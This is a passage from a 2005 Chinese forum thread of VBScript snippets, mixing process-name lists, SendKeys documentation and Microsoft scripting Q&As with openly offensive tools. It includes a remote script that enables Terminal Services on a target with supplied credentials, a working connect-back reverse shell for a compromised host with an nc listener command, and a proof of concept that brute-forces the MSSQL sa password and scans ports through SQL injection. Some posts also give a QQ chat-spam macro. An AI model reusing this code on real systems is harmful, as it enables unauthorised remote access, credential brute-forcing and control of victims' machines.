 neotrace.exe nero.exe nerosmartstart.exe 
 nerosvc.exe netmail.exe netsurf.exe 
 newdot.exe newsupd.exe ngctw32.exe 
 nilaunch.exe NIP.exe nipsvc.exe 
 NJeeves.exe nkvmon.exe noads.exe 
 notify.exe npfmntor.exe NPFMSG.exe 
 npscheck.exe npssvc.exe NRMENCTB.exe 
 nscheck.exe nsl.exe NSMdtr.exe 
 NSMdtr.exe nsvr.exe nsvsvc.exe 
 nt_usdm.exe ntaskldr.exe ntfrs.exe 
 ntmulti.exe ntrtscan.exe NVCOAS.exe 
   
  作者: 61.142.212.*  2005-10-19 21:35   回复此发言  
 
21 其它进程列表
 
 NVCPL.EXE NVCSched.exe nvmctray 
 nvsvc.exe nwtray.exe Nymse.exe 
 ocxdll.exe oeloader.exe ois.exe 
 Olehelp.exe Omniserv.exe onetouch.exe 
 oodag.exe opera.exe opware12.exe 
 owmngr.exe P2P Networking2.exe P2P Networking3.exe 
 pacis.exe PACKAGER.EXE packethsvc.exe 
 pav.exe pavfires.exe pavsrv51.exe 
 pcard.exe pccclient.exe pccguide.exe 
 pccnt.exe pccntmon.exe pccntupd.exe 
 PcCtlCom.exe pcfmgr.exe pchbutton.exe 
 pcscan.exe PCTVoice.exe pdsched.exe 
 PDVDServ.exe persfw.exe pg_ctl.exe 
 pgptray.exe phbase.exe photoshop.exe 
 picsvr.exe pinball.exe pkjobs.exe 
 plauto.exe player.exe plguni.exe 
 pmr.exe pmxinit.exe pop3pack.exe 
 popupkiller.exe postgres.exe postmaster.exe 
 pow.exe powerdvd.exe powerkey.exe 
 powerpnt.exe powers.exe ppmemcheck.exe 
 pptd40nt.exe pptview.exe ppwebcap.exe 
 pqhelper.exe PQIBrowser.exe PQIMountSvc.exe 
 pqinit.exe pqtray.exe PQV2ISECURITY.EXE 
 pqv2isvc.exe printnow.exe PRISMSTA.EXE 
 PRISMSVR.EXE profiler.exe proflwiz.exe 
 pruttct.exe psdrvcheck.exe psimsvc.exe 
 pssvc.exe pts.exe ptssvc.exe 
 pull.exe PureVoice.exe pvlsvr.exe 
 qbdagent2002.exe qbupdate.exe qclean.exe 
 qconsvc.exe qctray.exe qcwlicon.exe 
 qdcsfs.exe Qoeloader.exe qtaet2s.exe 
 qtask.exe qtzgacer.exe QuickBooks 
 quickdcf.exe quickres.exe quicktimeplayer.exe 
 qvp32.exe Radio.exe RadioSvr.EXE 
 randomdigits.exe rapapp.exe rasman.exe 
 RAVMOND.exe rcapi.exe rds.exe 
 reader_sl.exe realjbox.exe realmon.exe 
 realpopup.exe realshed.exe register.exe 
 regloadr.exe regsrv.exe RegSrvc.exe 
 regsvc32.exe remind.exe Remind_XP.exe 
 remind32.exe reminder.exe removed.exe 
 remupd.exe retrorun.exe rftray.exe 
 rlid.exe RM_SV.exe rosnmgr.exe 
 rsrcmtr.exe rtlrack.exe rtmanager.exe 
 rtmc.exe rtmservice.exe rtos.exe 
 rtvscn95.exe runservice.exe s24evmon.exe 
 s3tray2.exe sage.exe saimon.exe 
 saproxy.exe sbdrvdet.exe sbserv.exe 
 sbsetup.exe scanexplicit.exe ScanMailOutLook.exe 
 scanregistry.exe scanserver.exe scards32.exe 
 scardsvr32.exe scbar.exe sccenter.exe 
 scchost.exe SCHDPL32.EXE schedhlp.exe 
 schedul2.exe scheduler.exe schedulerv2.exe 
 schost.exe schupd.exe scm.exe 
 scrfs.exe scsiaccess.exe sdii.exe 
 sdstat.exe se.exe searchnav.exe 
 searchnavversion.exe sentstrt.exe service5.exe 
 sessmgr.exe sethook.exe seti@home.exe 
 setlang.exe sgbhp.exe sgmain.exe 
 shadowbar.exe sharedprem.exe shell32.exe 
 shine.exe shpc32.exe shstart.exe 
 shwicon.exe silent.exe SIMETER.EXE 
 sistray.exe sisusbrg.exe sixtypopsix.exe 
 ska.exe skynetave.exe Skype.exe 
 slee401.exe sllights.exe slpv24s.exe 
 slserv.exe sm56hlpr.exe smagent.exe 
 smartagt.exe SmartExplorer.exe SmartFTP.exe 
 SMax4.exe SMax4PNP.exe SMceMan.exe 
 smlogsvc.exe smOutlookPack.exe sms.exe 
 smsmon32.exe smsss.exe smsx.exe 
 smtray.exe sndrec32.exe sniffer.exe 
 snmptrap.exe soffice.exe sointgr.exe 
 SonicStageMonitoring.exe soundtrax.exe spamsub.exe 
 SpamSubtract.exe SPBBCSvc.exe speedmgr.exe 
 speedupmypc.exe splash.exe spool.exe 
 spoolsrv.exe SpoolSvc.exe sptip.dll 
 spvic.exe spyagent4.exe spyblast.exe 
   
  作者: 61.142.212.*  2005-10-19 21:35   回复此发言  
 
22 其它进程列表
 
 spybotsd.exe spybuddy.exe spysweeper.exe 
 spyware.exe sqlagent.exe sqlmangr.exe 
 sqlservr.exe srv32.exe ss.exe 
 ssgrate.exe sshd.exe ssonsvr.exe 
 sstray.exe Stacmon.exe StatusClient.exe 
 supporter5.exe surveyor.exe suss.exe 
 svaplayer.exe svchoost.exe svchos1.exe 
 svchosl.exe svcinit.exe svcproc.exe 
 svhost.exe SwiftBTN.exe swimsuitnetwork.exe 
 sws.exe sxgdsenu.exe symlcsvc.exe 
 SymSPort.exe synchost.exe sysagent.exe 
 syscfg32.exe syscnfg.exe sysformat.exe 
 syshost.exe syslog.exe sysmon.exe 
 sysmonnt.exe sysreg.exe SYSsfitb.exe 
 systask32l.exe systemdll.exe systime.exe 
 systray32.exe Szchost.exe tapicfg.exe 
 task32.exe taskbar.exe taskpanl.exe 
 taskswitch.exe tbctray.exe TBMon.exe 
 tbpanel.exe tc.exe termsrv.exe 
 testing.exe tfncky.exe tfnf5.exe 
 The Weather Channel.exe thotkey.exe timershot.exe 
 timeup.exe tintsetp.exe tmksrvi.exe 
 tmksrvu.exe tmpfw.exe toadimon.exe 
 topdesk.exe toscdspd.exe TouchED.exe 
 tp4ex.exe tp4mon.exe tp4serv.exe 
 tphkmgr.exe TPONSCR.exe TpScrex.exe 
 tpsmain.exe TPTray.exe tpwrtray.exe 
 tray.exe trayclnt.exe traymon.exe 
 traymonitor.exe traysaver.exe trayserver.exe 
 tskdbg.exe tskmgr32.exe tsl2.exe 
 tsp2.exe tstool.exe tv_media.exe 
 twunk_64.exe uc.exe udserve.exe 
 unins000.exe unsecapp.exe upd.exe 
 upgrade.exe ups.exe usb.exe 
 usbmmkbd.exe usbmonit.exe usrmlnka.exe 
 utilman.exe v2iconsole.exe vaserv.exe 
 vettray.exe vi_grm.exe videodrv.exe 
 view.exe viewport.exe virtualbouncer.exe 
 visio.exe vmnat.exe vmss.exe 
 vobregcheck.exe vsmain.exe vsserv.exe 
 vssvc.exe VzFw.exe w3dbsmgr.exe 
 watch.exe watchdog.exe WaveEdit.exe 
 wbload.exe wbsched.exe wbss.exe 
 wbutton.exe wcesmgr.exe weather.exe 
 webcamrt.exe webcolct.exe webinstall.exe 
 webtrapnt.exe welcome.exe wfxctl32.exe 
 wfxsnt40.exe wfxswtch.exe whagent.exe 
 whSurvey.exe win32api.exe WinAce.exe 
 winadm.exe winadserv.exe winadslave.exe 
 Winaw32.exe winbackup.exe WinCinemaMgr.exe 
 wincomm.exe wincomp.exe winctlad.exe 
 WinCtlAdAlt.exe winde.exe windefault.exe 
 winex.exe winfs.exe wingate.exe 
 winhelp.exe winhlp32.exe winhost.exe 
 wininfo.exe winkey.exe winlog.exe 
 winmgm32.exe winmysqladmin.exe Winpack.exe 
 winproj.exe winproxy.exe winpsd.exe 
 winpup32.exe winrecon.exe winroute.exe 
 wins.exe winserv.exe winservad.exe 
 winservices.exe winservs.exe winservsuit.exe 
 winsocks.exe winsrv32.exe winstat.exe 
 winsys.exe winsys32.exe wintask.exe 
 wintasks.exe winvnc.exe winwan.exe 
 wiseupdt.exe wkdetect.exe wkfud.exe 
 wkqkpick.exe wkscal.exe wkssb.exe 
 wlansta.exe wmburn.exe wmencagt.exe 
 wmexe.exe wmiapsrv.exe WMPBurn.exe 
 wntsf.exe workflow.exe wp.exe 
 wptel.exe wsys.exe wuloader.exe 
 wupdated.exe ww.exe x10nets.exe 
 x1exec.exe xcommsvr.exe xferwan.exe 
 xtcfgloader.exe ymsgr_tray.exe ydownloader.exe 
 YServer.exe yupdater.exe Zanda.exe 
 zbase32.exe zcast.exe zClientm.exe 
 ZLH.exe ZStatus.exe 



Other Process Categories:
- 系统进程列表
- 存在安全风险进程列表
- 应用程序进程列表
   
  作者: 61.142.212.*  2005-10-19 21:35   回复此发言  
 
24 回复:VBS 终端脚本
 
终端脚本
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
 set objShell=wscript.createObject("wscript.shell")
 objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
 wscript.quit
end if
if wscript.arguments.count<3 then
 usage()
 wscript.echo "Not enough parameters."
 wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
 port=wscript.arguments(3)
else
 port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
 wscript.echo "The number of port is error."
 wscript.quit
end if
if wscript.arguments.count>4 then
 reboot=wscript.arguments(4)
else
 reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
showerror(err.number)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
 if instr(objinstoscaption.caption,"Server")>0 then
 wscript.echo "OK!"
 else
 wscript.echo "OS type is "&objinstoscaption.caption
 outstreem.write "Do you want to cancel setup?[y/n]"
 strcancel=instreem.readline
 if lcase(strcancel)<>"n" then wscript.quit
 end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
HKU=&h80000003
with objinstreg
.createkey ,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache"
.setdwordvalue HKLM,"SOFTWARE/Microsoft/Windows/CurrentVersion/netcache","Enabled",0
.createkey HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer"
.setdwordvalue HKLM,"SOFTWARE/Policies/Microsoft/Windows/Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Services/TermService","Start",2
.setstringvalue HKU,".DEFAULT/Keyboard Layout/Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
flag=0
if rebt="/r" or rebt="-r" or rebt="/r" then flag=2
if rebt="/fr" or rebt="-fr" or rebt="/fr" then flag=6
if flag<>0 then
 outstreem.write "Now, reboot target...."
 strwqlquery="select * from win32_operatingsystem where primary='true'"
 set colinstances=objswbemservices.execquery(strwqlquery)
 for each objinstance in colinstances
 objinstance.win32shutdown(flag)
 next
 showerror(err.number)
else
 wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
 wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
 if err.description <> "" then
 wscript.echo "Error description: "&err.description&"."
 end if
 wscript.quit
else
 wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.05"
wscript.echo "Remote Open Terminal services Script, by 草哲"
wscript.echo "Welcome to visite www.5458.net"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo "/fr: auto force reboot target."
wscript.echo string(79,"*")&vbcrlf
end function
   
  作者: 61.142.212.*  2005-10-19 22:35   回复此发言  
 
25 VBS小后门2
 
VBS小后门2

我也给一个吧~是connect back的,默认UDP模式,因为一般UDP53都被防火墙放过去了,
保存为kao.vbs,远程nc -l -p 1234 -u,然后在(肉鸡)上运行kao.vbs

[肉鸡]
d:/winnt/system32>kao.vbs 210.28.131.162 1234

本地就可以得到一个shell
c:/>nc -l -p 1234 -u
You have got the shell~"
>>

就可以开始打命令咯~~~~~~
有一个缺点,交互模式下,执行的时候有窗口跳出,enjoy~


=============================分割线=====================================

if wscript.arguments.count<2 then
wscript.quit
end if

dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")

sock.Protocol=1 'UDP 自己修改成TCP的也可以
sock.connect wscript.arguments(0), wscript.arguments(1)
sock.SendData "You have got the shell~" & chr(10) & chr(13)
sock.SendData ">>"
do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
cmd=left(revdata,len(revdata)-1)
sock.senddata sc.exec("cmd.exe /c " & cmd).stdout.readall & vbcrlf 
& vbcrlf
sock.SendData ">>"
end if
end if
loop
sock.senddata "bye!" & vbcrlf
sock.close
sock=nothings
   
  作者: 61.142.212.*  2005-10-19 22:45   回复此发言  
 
26 用VBS脚本写的QQ聊天刷屏器- -
 
源码:

 Set WshShell = WScript.CreateObject("WScript.Shell")
 WshShell.AppActivate "Hi"
 for i=1 to 50 '改成你想要的次数
 WScript.Sleep 500
 WshShell.SendKeys "^v"
 WshShell.SendKeys i
 WshShell.SendKeys "%s"
 next
   
  作者: 61.142.212.*  2005-10-19 22:47   回复此发言  
 
27 利用VBS脚本让QQ永远在线
 
set fso = Wscript.createObject("Scripting.FileSystemObject")
Set f = fso.createTextFile("QQ自动登录.bat",true)
f.WriteLine "@echo off" & vbcrlf
for each ps in getobject("winmgmts://./root/cimv2:win32_process").instances_ '列出系统中所有正在运行的程序
 if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then '检测是否QQ或TM
 QQCMD=ps.commandline '提取QQ程序的命行
 tmp=Replace(QQCMD,chr(34),space(1))
 UIN1=instr(tmp,"QQUIN:")+6
 if not len(UIN1)=0 then
 QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) '取QQ号码.
 QQ=QQ+1
 QQNUM=QQNUM & "QQ号码" & QQ & ":" & vbtab & QQUIN & vbcrlf
 f.WriteLine "ECHO QQ号码:" & QQUIN
 f.WriteLine "ECHO 命令行:" & QQCMD
 f.WriteLine QQCMD & vbcrlf
 end if
 end if
next
if not len(QQ)=0 then
 MSGBOX "已经成功提取以下QQ号码的自动登录命令行" & vbcrlf & vbcrlf & QQNUM & vbcrlf & "具体请查看当前目录下的<QQ自动登录.bat>文件",0,"QQ自动登录命令提取脚本 BY chenall QQ:XXXXXX"
else
 msgbox "提取QQ自动登录命令失败,请查看QQ或TM是否正在运行.",0,"QQ自动登录命令提取脚本 BY chenall QQ:XXXXXX"
 f.close
 set f = fso.getfile("QQ自动登录.bat")
 f.delete
end if
   
  作者: 61.142.212.*  2005-10-19 22:51   回复此发言  
 
28 回复 27:利用VBS脚本让QQ永远在线
 
将这些代码存储为"*.vbs"文件。然后将所有需要自动登录的QQ号码全部登录,再在一个QQ上点击"菜单"→"一键切换到TM"。此后运行该VBS脚本,会发现在当前目录下生成了一个"QQ自动登陆.bat"的文件,运行该文件即可自动登录所有QQ号码。
小提示:代码中的"XXXXXX"代表你的QQ号。 

2.QQ防止关闭脚本 

dim QQUIN
for each ps in getobject("winmgmts://./root/cimv2:win32_process").instances_ '列出系统中所有正在运行的程序
 if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then '检测是否QQ或TM
 AppPath=ps.commandline '提取QQ程序的命行
 tmp=Replace(AppPath,chr(34),space(1))
 UIN1=instr(tmp,"QQUIN:")+6
 QQUIN=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1) '取QQ号码.
 end if
next
if len(QQUIN)=0 then
 msgbox "系统中没有运行QQ或TM程序,请重新启动QQ或TM,登陆后再使用一键换切换一下QQ或TM程序,再运行本脚本"
else
 do '循环检测
 myqqin=chkuin(QQUIN) '检测上面提取出来的QQ号码是否有在本机打开
 if not myqqin then '如果没有运行则,重新运行QQ程序并登录
 runapp(AppPath) '
 wscript.sleep 10000 '等待10秒
 else
 wscript.sleep 5000 '等待5秒
 end if
 loop '返回继续检测
end if

function RunApp(AppPath)
 dim obj
 set obj = createobject("WScript.Shell")
 obj.exec(AppPath)
end function

function chkuin(QQUIN)
 for each ps in getobject("winmgmts://./root/cimv2:win32_process").instances_
 if lcase(ps.name)="qq.exe" or lcase(ps.name)="tm.exe" then
 AppPatht=ps.commandline 'by chenall qq 368178720
 tmp=Replace(AppPatht,chr(34),space(1))
 UIN1=instr(tmp,"QQUIN:")+6
 QQUINTMP=mid(tmp,UIN1,instr(UIN1,tmp,space(1))-UIN1)
 if QQUINTMP=QQUIN then chkuin=true end if
 end if
 next
end function
将以上代码存储为"*.vbs"文件。而后登录QQ,一键切换到TM,再运行VBS脚本。此后,即使关闭了TM/QQ,它也会自动启动并登录至网络。经笔者在Windows XP SP2系统上测试,完全有效。
小编提示:对于用户挂QQ这个事情,小编对此并不赞同,因为除了能得到心里上的满足以外,其余任何事情都不能做到,而且还大量地浪费了国家的电能,所以在此小编提示大家,这个技巧只是叫大家明白,我们可以用VBS实现这一功能,绝对不是提倡这种挂QQ等级的做法。
   
  作者: 61.142.212.*  2005-10-19 22:51   回复此发言  
 
29 http://www.clwq.com/blog/article.asp?id=804
 
通过一个破解程序源码来看外国人的思维方式
作者:nimu007 日期:2005-10-13
字体大小: 小 中 大 
PF外国人能想到用openrowset在SQL INJECTION中暴力猜解MSSQL的密码...其实如果变通思维,我们早该想到的....... 
< html>
< h3>
MS SQL Server passwords bruteforce PoC via SQL Injection
< /h3>
©oded by Sergey V. Gordeychik 2005< br>
< a href=mailto: offtopic@mail.ru>offtopic@mail.ru< /a>
< hr>
< table>
< tr>
< td>
URL with injection:
< /td>
< td>
< input type=text Value="http://200.4.4.106/inject.asp?id=1;< ***>" id=baseurl>
< /td>
< tr>
< td>
Passwords file:
< /td>
< td>
< input type=text Value="passwords.txt" id=passwords>
< /td>
< /table>
< input type=button Value="Start" onclick="brut();">
< hr>
< h3>
Network port scanner via SQL Injection
< /h3>
< hr>
< table>
< tr>
< td>
Server:
< /td>
< td>
< input type=text Value="200.4.4.6" id=server>
< tr>
< td>
Port to scan:
< /td>
< td>
< input type=text Value="445" id=port>
< /table>
< input type=button Value="Check" onclick="scan();">
< hr>
< a id="status">< /a>

< script language="JScript">

var xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
var inject = "select * from openrowset('SQLOLEDB','.';'sa';'pass','select 1')"

function scan()
{

var x,s = inject.replace(".", document.getElementById("server").value + "," + document.getElementById("port").value);
s = document.getElementById("baseurl").value.replace("< ***>", s);
xmlhttp.Open("GET", s, false);
xmlhttp.Send();
x = xmlhttp.responseText;
if (x.indexOf("SQL Server does not exist")>=1) s="closed"; else
if (x.indexOf("Timeout expired")>=1) s="filtered or unreachable"; else
if (x.indexOf("Login failed")>=1) s="SQL Server detected."; else s="open";
document.getElementById("status").innerHTML="Scaned " + document.getElementById("server").value + ":" + document.getElementById("port").value + ".Port status:< b>"+s;

}

function checkpass(url, passwd)
{
var s = inject.replace("pass", passwd);
s = url.replace("< ***>", s);
xmlhttp.Open("GET", s, false);
xmlhttp.Send();
if (xmlhttp.responseText.indexOf("Login failed")>=1) return 0; else
{
return 1;
}
}

function brut()
{
document.getElementById("status").innerHTML="Starting...";
var fso, f, pass, baseurl, passwords, i
fso = new ActiveXObject("Scripting.FileSystemObject");
baseurl=document.getElementById("baseurl").value;
passwords=document.getElementById("passwords").value;
f = fso.OpenTextFile(passwords, 1);
i = 0;
while (!f.AtEndOfStream)
{
pass = f.ReadLine();
i=i+1;
if (!(i % 10))
{
document.getElementById("status").innerHTML="Trying password N"+i+" < b>"+pass+"< /b>";
}
if (checkpass(baseurl, pass))
{
document.getElementById("status").innerHTML="SA password is '< b>"+pass+"< /b>'. Checked "+i+" passwords";
return 0;
};
}
document.getElementById("status").innerHTML="Ooopssss.... May be next time";
}
< /script> 
http://www.clwq.com/blog/article.asp?id=804
   
  作者: 61.142.212.*  2005-10-19 22:53   回复此发言  
 
30 SendKeys语句
 
SendKeys语句 返回索引 

将一个或多个按键消息发送到活动窗口,就如同在键盘上进行输入一样。

语法

SendKeys string[, wait]

SendKeys 语句的语法具有以下几个命名参数:

部分 描述 
string 必需的。字符串表达式,指定要发送的按键消息。 
Wait 可选的。指定等待方式的 BooleandefBooleanDataType@veendf98.chm 值。如果为 False(缺省值),则控件在按键发送出去之后立刻返回到过程。如果为 True,则按键消息必须在控件返回到过程之前加以处理。 


说明

每个按键由一个或多个字符表示。为了指定单一键盘字符,必须按字符本身的键。例如,为了表示字母 A,可以用 "A" 作为 string。为了表示多个字符,就必须在字符后面直接加上另一个字符。例如,要表示 A、B 及 C,可用 "ABC" 作为 string。

对 SendKeys 来说,加号 (+)、插入符 (^)、百分比符号 (%)、上划线 (~) 及圆括号 ( ) 都具有特殊意义。为了指定上述任何一个字符,要将它放在大括号 ({}) 当中。例如,要指定正号,可用 {+} 表示。方括号 ([ ]) 对 SendKeys 来说并不具有特殊意义,但必须将它们放在大括号中。在其它应用程序中,方括号有特殊意义,在出现动态数据交换 (DDE) 的时候,它可能具有重要意义。为了指定大括号字符,请使用 {{} 及 {}}。

为了在按下按键时指定那些不显示的字符,例如 ENTER 或 TAB 以及那些表示动作而非字符的按键,请使用下列代码:

按键 代码 
BACKSPACE {BACKSPACE}, {BS}, 或 {BKSP} 
BREAK {BREAK} 
CAPS LOCK {CAPSLOCK} 
DEL or DELETE {DELETE} 或 {DEL} 
DOWN ARROW {DOWN} 
END {END} 
ENTER {ENTER}或 ~ 
ESC {ESC} 
HELP {HELP} 
HOME {HOME} 
INS or INSERT {INSERT} 或 {INS} 
LEFT ARROW {LEFT} 
NUM LOCK {NUMLOCK} 
PAGE DOWN {PGDN} 
PAGE UP {PGUP} 
PRINT SCREEN {PRTSC} 
RIGHT ARROW {RIGHT} 
SCROLL LOCK {SCROLLLOCK} 
TAB {TAB} 
UP ARROW {UP} 
F1 {F1} 
F2 {F2} 
F3 {F3} 
F4 {F4} 
F5 {F5} 
F6 {F6} 
F7 {F7} 
F8 {F8} 
F9 {F9} 
F10 {F10} 
F11 {F11} 
F12 {F12} 
F13 {F13} 
F14 {F14} 
F15 {F15} 
F16 {F16} 


为了指定那些与 SHIFT、CTRL 及 ALT 等按键结合的组合键,可在这些按键码的前面放置一个或多个代码,这些代码列举如下:

按键 代码 
SHIFT + 
CTRL ^ 
ALT % 


为了说明在按下其它按键时应同时按下 SHIFT、CTRL、及 ALT 的任意组合键,请把那些按键的码放在括号当中。例如,为了说明按下 E 与 C 的时候同时按下 SHIFT 键,请使用 "+(EC)"。为了说明在按下 E 的时候同时按下 SHIFT 键,但接着按 C 而不按 SHIFT,则使用 "+EC"。

为了指定重复键,使用 {key number} 的形式。必须在 key 与 number 之间放置一个空格。例如,{LEFT 42} 意指 42 次按下 LEFT ARROW 键;{h 10} 则是指 10 次按下 H 键。

注意 不能用 SendKeys 将按键消息发送到这样一个应用程序,这个应用程序并没有被设计成在 Microsoft Windows 中运行。Sendkeys 也无法将 PRINT SCREEN 按键 {PRTSC} 发送到任何应用程序?/font>
   
  作者: 61.142.212.*  2005-10-19 22:55   回复此发言  
 
31 走近VB.NET十六 SendKeys方法与Shell函数
 
hejianzhong http://www.yescnet.com

VB.Net中使用Sendkeys遥控:
大家在VB6中都用过sendkeys,幕通过发送键盘的事件间接地控制外部程序,是有遥控之说。
我在VB7中却发现这个不能用了, 也就不了了之,
后来一次在查阅MSDN的时候竟看到了这个,是以尝试了一下,竟然旧貌新颜,还是一样好用。

主要是在system.winforms族中找到sendkeys 使用方法同VB6
键:一般的字符键如下输入”A” “B” “C”………………”Z”等,如果要连续按下两个以上就使用”AB”的形式
如果同时按下AB就使用括号如”(AB)”

如果是功能键,就放到大括号中如“{F4}” 另:用+代表Shift,用^代表Ctrl,用%代表Alt

如“+A”表示按下Shift同时按A


下面是一个例子:

Dim sdstr As System.WinForms.SendKeys

sdstr.Send("%{F4}") 发送ALT+F4

下面这个代码在按下Button2以后转移焦点到下一个控件,
 

 

使按钮能按下又不能按受焦点.

Protected Sub Button2_Click(ByVal sender As Object, ByVal e As System.EventArgs)

Dim sdstr As System.WinForms.SendKeys

sdstr.Send("{TAB}")

End Sub

下面使用SendWait,使用的方法同上,不过执行这个过程会等待到发送的键执行完成以后,再继续执行后面的代码.

Protected Sub Button2_Click(ByVal sender As Object, ByVal e As System.EventArgs)

Dim sdstr As System.WinForms.SendKeys

'sdstr.Send("{TAB}")

sdstr.SendWait("{TAB}")

End Sub


 

VB.NET中使用shell调用外部程序:

Shell(pathname as string,[style as microsoft.visualbasic.appwinstyle=2],[wait as boolean=false],[timeout as integer=-1]) as integer

调用资源管理器

Dim PID As Integer
PID = Shell("explorer.exe http://vbnetcn.126.com", Microsoft.VisualBasic.AppWinStyle.NormalFocus, True)

调用默认程序

Dim PID As Integer
PID = Shell("start.exe mailto:vbnetcn@163.com", Microsoft.VisualBasic.AppWinStyle.Hide, True)

使用Microsoft.VisualBasic.AppWinStyle.Hide参数是为了隐藏程序运行时跳出的DOS窗口。
   
  作者: 61.142.212.*  2005-10-19 23:02   回复此发言  
 
32 可以使用脚本启用 Caps Lock 键吗?
 
欢迎来到这个全新的 TechNet 专栏,在这里,Microsoft Scripting Guys 将为您解答与系统管理脚本编写有关的各种常见问题。遇到了系统脚本编写方面的问题?请将电子邮件发送到scripter@microsoft.com. 我们不能保证回答收到的所有问题,但是我们将尽最大的努力。

今天的问题:可以使用脚本启用 Caps Lock 键吗?


--------------------------------------------------------------------------------

可以启用 Caps Lock (大写)键吗?
问:
嗨,Scripting Guy!I have a script where users enter some information in an Input box.The information needs to be entered in all-capital letters, so my instructions say, “Please make sure the Caps Lock key is on before entering the information.”They don’t always do that, however.Is there a way to turn the Caps Lock key on and off using a script?

-- BW, Medford, OR

答:
Hey, BW.We don’t know of a way to turn the Caps Lock key on and off, but we do know a way to mimic the effect of having the Caps Lock key on.After all, the whole point of the Caps Lock key is to turn everything you type into uppercase letters.For example, you might type this:

this is my sentence.
But Caps Lock will make it appear on screen like this:

THIS IS MY SENTENCE.
So how can we achieve the same affect in a script?简单:we just use the VBScript function UCase, which switches all the letters in a string to their uppercase equivalent.For example, here’s a simple two-line script that gathers information from a user and then uses the UCase function to switch all the letters to uppercase when echoing the value to the screen:

strMessage = InputBox("Please enter your message:")Wscript.Echo UCase(strMessage)
Incidentally, the above script doesn’t actually change the case of the letters in the string strMessage; it just displays them in uppercase.If you really want all the letters converted to uppercase, try this script instead:

strMessage = UCase(InputBox("Please enter your message:"))Wscript.Echo strMessage
Looks crazy, but it works.

For more information about the UCase function, see theVBScript 文档 on MSDN.
   
  作者: 61.142.212.*  2005-10-19 23:07   回复此发言  
 
33 今天的问题:有办法将脚本输出复制到剪贴板吗?
 
可以将脚本的输出复制到剪贴板吗?
问:
嗨,Scripting Guy!有办法将脚本输出复制到剪贴板吗?

-- ZW, Marseilles, France

答:
您好,ZW.如果您不介意用一些疯狂的解决方法,那么实际上将脚本输出复制到剪贴板相当容易。首先,您需要构造一个字符串,其中包含想要的输出。然后,创建 Internet Explorer 的一个实例,然后在其中打开一个空白页。接着,利用 Internet Explorer 对象模型的内置功能,将字符串复制到剪贴板;特别是, 可以使用 clipboardData.SetData 方法来实现这个技巧。将某些数据复制到剪贴板的示例脚本如下:

strCopy = "This text has been copied to the clipboard."

Set objIE = CreateObject("InternetExplorer.Application")
objIE.Navigate("about:blank")
objIE.document.parentwindow.clipboardData.SetData "text", strCopy
objIE.Quit

运行脚本,然后打开 Notepad,然后单击“粘贴”;应该可以看到所复制的字符串。

顺便说一下,所有这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。这是因为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出来:

objIE.Visible = True
有关 clipboardData.SetData 的更多信息,请参阅MSDN 上的 DHTML 参考文档 。
   
  作者: 61.142.212.*  2005-10-19 23:07   回复此发言  
 
34 如何暂停一个脚本,然后在用户按下键盘上的一个键时恢复它的运行?
 
问:
嗨,Scripting Guy!我想暂停脚本,然后在用户按下键盘上的任意按键时恢复它的运行。我怎样才能做到?

-- AL

答:
嗨,AL。哦,这个问题让我们回溯到:“按任意键继续,”以及“终止、重试或失败”这一计算机史上最著名的词组之一。对不起,我们需要一点时间来感叹以前那些美好的时光。唉……。

过去,“按任意键继续”几乎是每个批处理文件的基本要素。以前,只要在批处理文件当中插入一个暂停命令;那样,批处理文件就会暂停——就像忠实的老狗,呆在那里,等您按键盘上的按键。只要按一个键——任意键,批处理文件就会继续运行。有兴趣追忆往事的人可以试着运行这个简单的小批处理文件,来了解具体情况:

echo off
pause
echo The batch file is complete.

注意:将其保存为 .bat 文件,而不是 .vbs 文件。

无疑您们当中有许多人会想:“哇,脚本比批处理文件好得多,也强大得多。我打赌会有非常棒的方法用以在脚本中执行“按任意键继续”的操作。”老实说,我们也会这么认为。但您猜怎么样:没有办法在脚本中实现这一功能。

